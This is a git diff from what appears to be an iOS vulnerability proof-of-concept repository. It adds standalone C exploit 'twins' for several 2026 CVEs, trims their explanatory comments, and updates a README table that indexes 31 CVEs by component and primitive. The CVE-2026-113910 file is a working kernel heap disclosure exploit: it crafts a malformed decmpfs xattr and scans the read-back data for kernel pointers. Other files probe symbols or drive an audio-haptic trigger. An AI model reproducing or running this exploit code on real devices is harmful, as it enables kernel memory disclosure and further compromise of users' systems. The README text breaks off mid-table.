bfree(&wav); + return 1; + } + err = nil; + if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) { + print_error("event delivery", err); + } else { + printf("audioCustom event delivered\n"); + } + usleep(400000); + msg_void(engine, sel_registerName("stop")); + printf("engine stopped\n"); + + CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array); + bfree(&wav); + printf("CVE-2026-113907 · custom audio haptic registration exercised\n"); + return 0; +} diff --git a/CVE-2026-113907/CVE-2026-113907.swift b/CVE-2026-113907/CVE-2026-113907.swift index af633d3..3cab414 100644 --- a/CVE-2026-113907/CVE-2026-113907.swift +++ b/CVE-2026-113907/CVE-2026-113907.swift @@ -1,22 +1,8 @@ // aud.haptic · AudioToolbox · AVHapticServerInstance · CVE-2026-113907 -// 原语: OOB 写 · 系统进程 · tier 2 -// Primitive: OOB write · system process · tier 2 -// -// [zh] AVHaptic 自定义音频事件格式校验 -// createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。 -// 该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。 -// -// [en] AVHaptic custom audio event format validation -// On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against -// the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface -// lives in the CoreHaptics server process. -// ── 判别 / oracle ── -// 通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。 -// 变体 aud.immersive: 沉浸式渲染数据反序列化容量缺失 - +// AVHaptic custom audio event format validation import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,21 +23,4 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// aud.immersive · AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize · CVE-2026-113907 -// 原语: OOB 写 · 系统进程 · tier 2 -// Primitive: OOB write · system process · tier 2 -// -// [zh] 沉浸式渲染数据反序列化容量缺失 -// 反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2, -// 将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。 -// -// [en] Immersive renderer data deserialisation capacity gap -// The count and dataByteSize taken off the wire are compared only against "how much is left on the -// wire", never against "how much the destination buffer holds", producing a linear heap overflow -// inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination -// capacity into the check, and adds a version 1..3 validity gate. -*/ - - diff --git a/CVE-2026-113910/CVE-2026-113910.c b/CVE-2026-113910/CVE-2026-113910.c new file mode 100644 index 0000000..353d284 --- /dev/null +++ b/CVE-2026-113910/CVE-2026-113910.c @@ -0,0 +1,197 @@ +// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910 +// Kernel heap disclosure through short-producing chunks +// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose +// chunks produce fewer bytes than the chunk table promises, writes it onto a file, +// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000). +// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c +// Run: ./cve-2026-113910 + +#include +#include +#include +#include +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} +static void le64(buf *b, uint64_t v) { + for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff)); +} +static void be32(buf *b, uint32_t v) { + bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); +} + +// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ── +// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks +// whose zlib streams produce only `produce` bytes each +static uint32_t adler32(const uint8_t *p, size_t n) { + uint32_t a = 1, b = 0; + for (size_t i = 0; i < n; i++) { + a = (a + p[i]) % 65521; + b = (b + a) % 65521; + } + return (b << 16) | a; +} + +static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) { + buf out = {0}; + le32(&out, 0x636D7066); // 'cmpf' + le32(&out, 4); // typeZlibChunked + le64(&out, (uint64_t)uncompressed); + + // per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41 + buf payload = {0}; + brep(&payload, 0x41, produce); + buf z = {0}; + bput(&z, 0x78); bput(&z, 0x01); // zlib header + size_t off = 0; + if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5); + while (off < payload.n) { + size_t take = payload.n - off < 65535 ? payload.n - off : 65535; + bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag + le16(&z, (uint16_t)take); + le16(&z, (uint16_t)~take); + bcat(&z, payload.d + off, take); + off += take; + } + be32(&z, adler32(payload.d, payload.n)); + + uint32_t offsets[9]; + uint32_t running = 0; + for (int i = 0; i < chunk_count; i++) { + offsets[i] = running; + running += (uint32_t)(1 + z.n); // flag byte + zlib stream + } + offsets[chunk_count] = running; + for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]); + for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); } + + bfree(&payload); + bfree(&z); + return out; +} + +// ── trigger: xattr round trip + kernel-pointer scan ── +typedef struct { + int wrote_xattr; + long read_back; + long hits; + char samples[8][32]; + int nsamples; + char note[128]; +} decmpfs_result; + +static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) { + decmpfs_result r = {0}; + // seed file: plain 0x41 content (the uncompressed claim) + unlink(path); + int fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd >= 0) { + uint8_t zeros[4096]; + memset(zeros, 0x41, sizeof zeros); + size_t left = uncompressed < 64 ? 64 : uncompressed; + while (left > 0) { + size_t take = left < sizeof zeros ? left : sizeof zeros; + if (write(fd, zeros, take) != (ssize_t)take) break; + left -= take; + } + close(fd); + } + + buf payload = decmpfs_chunked(uncompressed, chunks, produce); + if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) { + snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno); + bfree(&payload); + return r; + } + r.wrote_xattr = 1; + + // read the file back: the kernel decompresses through AppleFSCompression + FILE *f = fopen(path, "rb"); + if (!f) { + snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); + bfree(&payload); + return r; + } + buf back = {0}; + uint8_t chunk[65536]; + size_t got; + while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got); + fclose(f); + r.read_back = (long)back.n; + + // scan for kernel-space pointers in whatever the kernel handed back + if (back.n >= 8) { + for (size_t i = 0; i + 8 <= back.n; i += 8) { + uint64_t v = 0; + for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); + if (v >= 0xFFFFFFE000000000ULL) { + r.hits++; + if (r.nsamples < 8) { + snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx", + (unsigned long long)v, i); + r.nsamples++; + } + } + } + } + snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); + bfree(&back); + bfree(&payload); + return r; +} + +int main(void) { + const char *path = "decmpfs_probe.bin"; + struct { int chunks; size_t produce; } configs[4] = { + {4, 65536}, {4, 4096}, {8, 1024}, {2, 1}, + }; + long total_hits = 0; + + printf("— baseline: what a plain file reads back —\n"); + { + unlink(path); + int fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd >= 0) { + uint8_t a64[64]; + memset(a64, 0x41, sizeof a64); + for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break; + close(fd); + } + FILE *f = fopen(path, "rb"); + if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } + } + + printf("\n— chunked xattr round trip —\n"); + for (int i = 0; i < 4; i++) { + size_t uncompressed = (size_t)configs[i].chunks * 65536; + decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce); + total_hits += r.hits; + printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", + configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); + if (r.nsamples > 0) { + printf(" candidates:"); + for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]); + printf("\n"); + } + } + + unlink(path); + printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found" + : "no kernel pointers surfaced (read was served plain)"); + return 0; +} diff --git a/CVE-2026-113910/CVE-2026-113910.swift b/CVE-2026-113910/CVE-2026-113910.swift index 046fce5..c6b5b32 100644 --- a/CVE-2026-113910/CVE-2026-113910.swift +++ b/CVE-2026-113910/CVE-2026-113910.swift @@ -1,22 +1,8 @@ // kern.decmpfs · XNU · AppleFSCompressionTypeZlib · CVE-2026-113910 -// 原语: 信息泄露 · 内核 · tier 2 -// Primitive: info leak · kernel · tier 2 -// -// [zh] decmpfs 分块解压欠产出 → 内核堆泄露 -// 分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。 -// 27.2 补入该比对。 -// -// [en] decmpfs chunked decompression under-produce → kernel heap disclosure -// When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced -// against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the -// whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison. -// ── 判别 / oracle ── -// 这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描, -// 凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。 - +// decmpfs chunked decompression under-produce → kernel heap disclosure import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-113912/CVE-2026-113912.c b/CVE-2026-113912/CVE-2026-113912.c new file mode 100644 index 0000000..c291cc9 --- /dev/null +++ b/CVE-2026-113912/CVE-2026-113912.c @@ -0,0 +1,52 @@ +// aud.drc · AudioToolbox / AudioCodecs · UniDrcSelection · CVE-2026-113912 +// DRC decoder path probe +// C twin of the Swift POC: dlopens AudioCodecs, dlsyms the DRC symbols, then drives +// AudioConverterNew with the DRC format id. +// Build: clang -O2 -o cve-2026-113912 CVE-2026-113912.c -framework AudioToolbox -framework CoreFoundation +// Run: ./cve-2026-113912 + +#include +#include +#include + +static void audio_converter(uint32_t format, double rate, uint32_t channels) { + AudioStreamBasicDescription in = {0}; + in.mSampleRate = rate; + in.mFormatID = format; + in.mFramesPerPacket = 1; + in.mChannelsPerFrame = channels; + AudioStreamBasicDescription out = {0}; + out.mSampleRate = rate; + out.mFormatID = kAudioFormatLinearPCM; + out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked; + out.mBytesPerPacket = 4; + out.mFramesPerPacket = 1; + out.mBytesPerFrame = 4; + out.mChannelsPerFrame = 1; + out.mBitsPerChannel = 32; + AudioConverterRef c = NULL; + OSStatus st = AudioConverterNew(&in, &out, &c); + if (c) AudioConverterDispose(c); + char four[5] = {0}; + for (int i = 0; i < 4; i++) { + uint8_t b = (uint8_t)(format >> (24 - 8 * i)); + four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?'; + } + printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st); +} + +int main(void) { + void *h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW); + if (h) { + printf("ok AudioCodecs loaded\n"); + const char *syms[] = {"UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"}; + for (size_t i = 0; i < 4; i++) { + printf(" %s: %s\n", syms[i], dlsym(h, syms[i]) ? "resolved" : "missing (stripped or hidden)"); + } + } else { + printf("x AudioCodecs cannot be dlopened\n"); + } + audio_converter(0x64726331, 48000, 6); // 'drc1' 48 kHz 6 ch + printf("CVE-2026-113912 · DRC path probed\n"); + return 0; +} diff --git a/CVE-2026-113912/CVE-2026-113912.swift b/CVE-2026-113912/CVE-2026-113912.swift index b0d7ac7..ca76f80 100644 --- a/CVE-2026-113912/CVE-2026-113912.swift +++ b/CVE-2026-113912/CVE-2026-113912.swift @@ -1,22 +1,8 @@ // aud.drc · AudioCodecs · mpddrc::UniDrcSelection · CVE-2026-113912 / 86972 -// 原语: OOB 读 · 系统进程 · tier 2 -// Primitive: OOB read · system process · tier 2 -// -// [zh] MPEG-D DRC 下混矩阵系数校验 -// selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数 -// == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。 -// -// [en] MPEG-D DRC downmix matrix coefficient validation -// On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight -// from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2 -// adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count -// checks in getSignalPeakLevel and Process. -// ── 判别 / oracle ── -// 需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。 - +// MPEG-D DRC downmix matrix coefficient validation import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -38,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-65385/CVE-2026-65385.c b/CVE-2026-65385/CVE-2026-65385.c new file mode 100644 index 0000000..a0529d4 --- /dev/null +++ b/CVE-2026-65385/CVE-2026-65385.c @@ -0,0 +1,28 @@ +// kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385 +// HID event tree append entry point probe +// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points +// (create/append/serialize/type/vendor-defined) the unbounded append lives behind. +// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c +// Run: ./cve-2026-65385 + +#include +#include +#include + +int main(void) { + const char *syms[] = { + "IOHIDEventCreateCopy", "IOHIDEventAppendEvent", "IOHIDEventCreateData", + "IOHIDEventGetType", "IOHIDEventCreateVendorDefined", + }; + void *h = dlopen("/System/Library/Frameworks/IOKit.framework/IOKit", RTLD_NOW); + if (!h) { + printf("x IOKit cannot be dlopened\n"); + return 1; + } + printf("ok IOKit\n"); + for (size_t i = 0; i < sizeof syms / sizeof syms[0]; i++) { + printf(" %s: %s\n", syms[i], dlsym(h, syms[i]) ? "resolved" : "missing"); + } + printf("CVE-2026-65385 · IOHIDEvent append surface probed\n"); + return 0; +} diff --git a/CVE-2026-65385/CVE-2026-65385.swift b/CVE-2026-65385/CVE-2026-65385.swift index 81d5452..935ab7c 100644 --- a/CVE-2026-65385/CVE-2026-65385.swift +++ b/CVE-2026-65385/CVE-2026-65385.swift @@ -1,21 +1,8 @@ // kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385 -// 原语: OOB 写 · 内核 · tier 3 -// Primitive: OOB write · kernel · tier 3 -// -// [zh] IOKit 事件短堆固定偏移写 -// 该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复, -// 内核 __DATA_CONST 的 assert 表中不存在相关记录。 -// -// [en] IOKit event short-heap fixed-offset write -// This defect's carrier is user-space IOKit.framework rather than a kext: IOHIDEventAppendEvent performs -// an OR write at a fixed offset on a short heap event. iOS 27.2 fixes it inside the framework; the -// kernel's __DATA_CONST assert table has no related record. -// ── 判别 / oracle ── -// 探用户态 IOKit 是否导出事件构造入口。 - +// IOKit event short-heap fixed-offset write import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,4 +24,3 @@ enum B { } - diff --git a/Info.plist b/Info.plist index 32edc00..7b6f95c 100644 --- a/Info.plist +++ b/Info.plist @@ -22,13 +22,13 @@ CFBundlePackageType APPL CFBundleShortVersionString - 1.0 + 2.0 CFBundleSupportedPlatforms iPhoneOS CFBundleVersion - 2 + 3 DTPlatformName iphoneos DTPlatformVersion diff --git a/README.md b/README.md index 27c218a..134a02e 100644 --- a/README.md +++ b/README.md @@ -10,11 +10,11 @@ Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility | Block | Contents | |---|---| -| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable) and/or a `.swift` seed construction + trigger closures (standalone typecheckable) | +| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 | | `/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape | | `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) | -42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds). +42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 31 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle). ## POC index — 31 CVE folders @@ -22,37 +22,37 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f | CVE | Modules | Component | Primitive | Reach | Title | Files | |---|---|---|---|---|---|---| -| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder plugin | OOB read | system process | MVHEVC layer id out of range | `CVE-2026-112415.swift` | -| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder plugin (not a kext) | OOB write | system process | AVC slice count cap missing | `CVE-2026-112416.swift` | -| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB read | in-process | USDA declaration nesting depth | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | -| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB write | in-process | TIFF directory entry allocation 32-bit truncation | `CVE-2026-112488.swift` | -| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c request-table consumers | use-after-free | kernel | ipc_port request table index race | `CVE-2026-112507.swift` | -| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps table lookup | OOB read | peripheral | IOHIDFamily preparsed data table index | `CVE-2026-112515.swift` | -| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB write | in-process | ISO9660 Joliet pathname heap overflow | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | -| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB read | system process | HOA spatial audio coefficient out-of-bounds read | `CVE-2026-112546.swift` | -| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB read | kernel | GPT partition name scan 72-byte kernel heap out-of-bounds read | `CVE-2026-112554.swift` | -| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | info leak | in-process | EXIF UserComment short read → metadata disclosure | `CVE-2026-112571.swift` | -| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` | -| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` | -| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` | -| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | -| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` | -| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` | -| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | info leak | in-process | APNG fcTL truncation → uninitialised frame geometry on the stack | `CVE-2026-112630.swift` | -| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | info leak | in-process | TIFF truncated strip → uninitialised heap into pixels | `CVE-2026-112632.swift` | -| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB write | in-process | TIFF planar scatter out-of-bounds write | `CVE-2026-112633.swift` | -| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB read | in-process | JPEG marker length out of bounds | `CVE-2026-112634.swift` | -| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB write | entitlement-gated | LC3 decoder input buffer overflow | `CVE-2026-112638.swift` | -| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB write | system process | SpringBoard stashed layout name validation | `CVE-2026-112646.swift` | -| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB read | in-process | GDEFLigatureCaret offset-chain out-of-bounds read | `CVE-2026-112656.swift` | -| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | -| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` | -| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` | -| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` | -| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` | -| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` | -| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` | -| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` | +| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder plugin | OOB read | system process | MVHEVC layer id out of range | `CVE-2026-112415.swift` · `CVE-2026-112415.c` | +| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder plugin (not a kext) | OOB write | system process | AVC slice count cap missing | `CVE-2026-112416.swift` · `CVE-2026-112416.c` | +| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB read | in-process | USDA declaration nesting depth | `CVE-2026-112485.py` · `CVE-2026-112485.swift` · `CVE-2026-112485.c` | +| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB write | in-process | TIFF directory entry allocation 32-bit truncation | `CVE-2026-112488.swift` · `CVE-2026-112488.c` | +| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c request-table consumers | use-after-free | kernel | ipc_port request table index race | `CVE-2026-112507.swift` · `CVE-2026-112507.c` | +| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps table lookup | OOB read | peripheral | IOHIDFamily preparsed data table index | `CVE-2026-112515.swift` · `CVE-2026-112515.c` | +| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB write | in-process | ISO9660 Joliet pathname heap overflow | `CVE-2026-112522.py` · `CVE-2026-112522.swift` · `CVE-2026-112522.c` | +| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB read | system process | HOA spatial audio coefficient out-of-bounds read | `CVE-2026-112546.swift` · `CVE-2026-112546.c` | +| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB read | kernel | GPT partition name scan 72-byte kernel heap out-of-bounds read | `CVE-2026-112554.swift` · `CVE-2026-112554.c` | +| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | info leak | in-process | EXIF UserComment short read → metadata disclosure | `CVE-2026-112571.swift` · `CVE-2026-112571.c` | +| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` | +| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` | +| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` · `CVE-2026-112619.c` | +| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` | +| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` · `CVE-2026-112627.c` | +| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` · `CVE-2026-112629.c` | +| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | info leak | in-process | APNG fcTL truncation → uninitialised frame geometry on the stack | `CVE-2026-112630.swift` · `CVE-2026-112630.c` | +| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | 